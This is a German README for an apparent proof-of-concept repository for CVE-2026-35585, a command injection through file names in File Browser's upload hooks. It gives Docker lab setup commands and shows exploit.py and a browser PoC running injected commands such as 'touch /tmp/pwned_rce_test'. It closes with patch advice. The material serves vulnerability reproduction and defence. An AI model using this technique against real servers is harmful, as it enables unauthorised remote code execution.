
Proof-of-concept Exploit für CVE-2026-35585, eine OS-Befehlseinschleusungsschwachstelle in File Browser (Versionen 2.0.0 bis 2.33.1). Enthält Python- und browserbasierte PoC-Skripte für die Remote-Codeausführung durch schädliche Datei-Uploads.
Dieses Repository enthält einen Proof of Concept (PoC) für die kritische OS-Befehlseinschleusungs-Schwachstelle CVE-2026-35585, die in File Browser (Version 2.0.0 bis 2.33.1) entdeckt wurde.
Die Schwachstelle befindet sich in der Funktion „Custom Command Hooks“. Da die Umgebungsvariablen wie $FILE und $USERNAME bei der Shell-Ausführung nicht ausreichend bereinigt werden, können authentifizierte Benutzer mit Datei-Upload-Berechtigung durch bösartige Dateinamen beliebige Befehle auf dem Hostsystem ausführen.
Entdecker: saku0512 (https://github.com/Saku0512)
Dieses Projekt ist ausschließlich für Bildungszwecke und ethische Sicherheitstests bestimmt.
Der Autor übernimmt keinerlei Haftung für Missbrauch, Schäden oder rechtswidrige Handlungen, die mit diesem Werkzeug durchgeführt werden. Unautorisierter Zugriff auf Computersysteme ist illegal. Durch die Nutzung dieser Software stimmen Sie zu, Sicherheitstests nur in Umgebungen durchzuführen, für die Sie ausdrücklich berechtigt sind.
File Browser ermöglicht es Administratoren, Hooks wie „After Upload“ einzurichten. Bei der Ausführung dieser Hooks führt die Anwendung Shell-Befehle aus und ersetzt Variablen wie $FILE durch den tatsächlichen Dateinamen. Enthält der Dateiname Shell-Metazeichen wie ;, &, |, werden diese nicht ordnungsgemäß maskiert und in der System-Shell ausgeführt.
Dieser Abschnitt beschreibt die Schritte, um mit der bereitgestellten Umgebung und dem Exploit-Skript eine Remote-Codeausführung (RCE) zu reproduzieren.
Starten Sie die anfällige Umgebung (File Browser v2.33.1) mit Docker Compose. Da initial data/filebrowser.db nicht existiert, müssen Sie zuerst die File Browser-Datenbank initialisieren und dann den Hook setzen.
# data-Verzeichnis mit passenden Berechtigungen versehen
mkdir -p data && sudo chown -R 1000:1000 data
# DB initialisieren
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config init --database /database/filebrowser.db
# admin / admin Benutzer hinzufügen
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users add admin admin --perm.admin --database /database/filebrowser.db
# Shell auf "sh -c" setzen
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config set --shell "sh -c" --database /database/filebrowser.db
# After-Upload-Befehl hinzufügen
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser cmds add after_upload 'echo Uploaded: $FILE' --database /database/filebrowser.db
# Container starten
docker compose up -d
Falls data/filebrowser.db bereits existiert, ist config init nicht nötig. Wenn der Admin-Benutzer bereits vorhanden ist, setzen Sie stattdessen das Passwort mit folgendem Befehl zurück:
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users update admin --password admin --database /database/filebrowser.db
Wenn Sie die Hook-Konfiguration nach dem Start des Containers ändern möchten, stoppen Sie ihn zuerst mit docker compose stop, führen Sie die Konfigurationsbefehle aus und starten Sie dann mit docker compose start, um SQL-Sperren zu vermeiden.
Führen Sie das Skript exploit.py aus, um Login und das Hochladen einer schädlichen Datei zu automatisieren. Der folgende Befehl versucht, eine Datei mit dem Namen pwned_rce_test im Verzeichnis /tmp des Containers zu erstellen.
# Abhängigkeiten installieren
pip install requests
# Exploit ausführen
python3 exploit.py -t http://localhost:8080 -u admin -p admin -c "touch /tmp/pwned_rce_test"
Prüfen Sie, ob die Datei im Container erstellt wurde, um die erfolgreiche Befehlsausführung zu bestätigen.
docker exec -it cve-2026-35585-vuln-app ls -l /tmp/pwned_rce_test
Wenn die Datei existiert, ist die RCE bestätigt.
Das vorhandene exploit.py kann weiterhin verwendet werden. Wenn Sie die Interaktion mit File Browser besser nachvollziehen möchten, können Sie den beiliegenden Browser-PoC-Guide nutzen.
Führen Sie den Schritt „1. Aufbau der Umgebung und initiale Konfiguration“ oben aus, sodass Sie unter http://localhost:8080 auf File Browser zugreifen können.
python3 browser_poc.py
Öffnen Sie im Browser:
http://127.0.0.1:8090/
http://localhost:8080.admin / admin an, um das File Browser API-Token zu erhalten.id > /srv/pwned_browser_rce.txt bewirkt./srv/pwned_browser_rce.txt über die File Browser API und sehen Sie das RCE-Ergebnis innerhalb der Oberfläche ein.Da /srv in docker-compose.yml in dieses Repository eingebunden ist, wird im Erfolgsfall auch auf dem Host eine Datei pwned_browser_rce.txt erstellt.
Aktualisieren Sie File Browser auf Version 2.33.8 oder höher. In der behobenen Version ist die Hook-Funktion standardmäßig deaktiviert und die Variablenexpansion wird sicherer verarbeitet.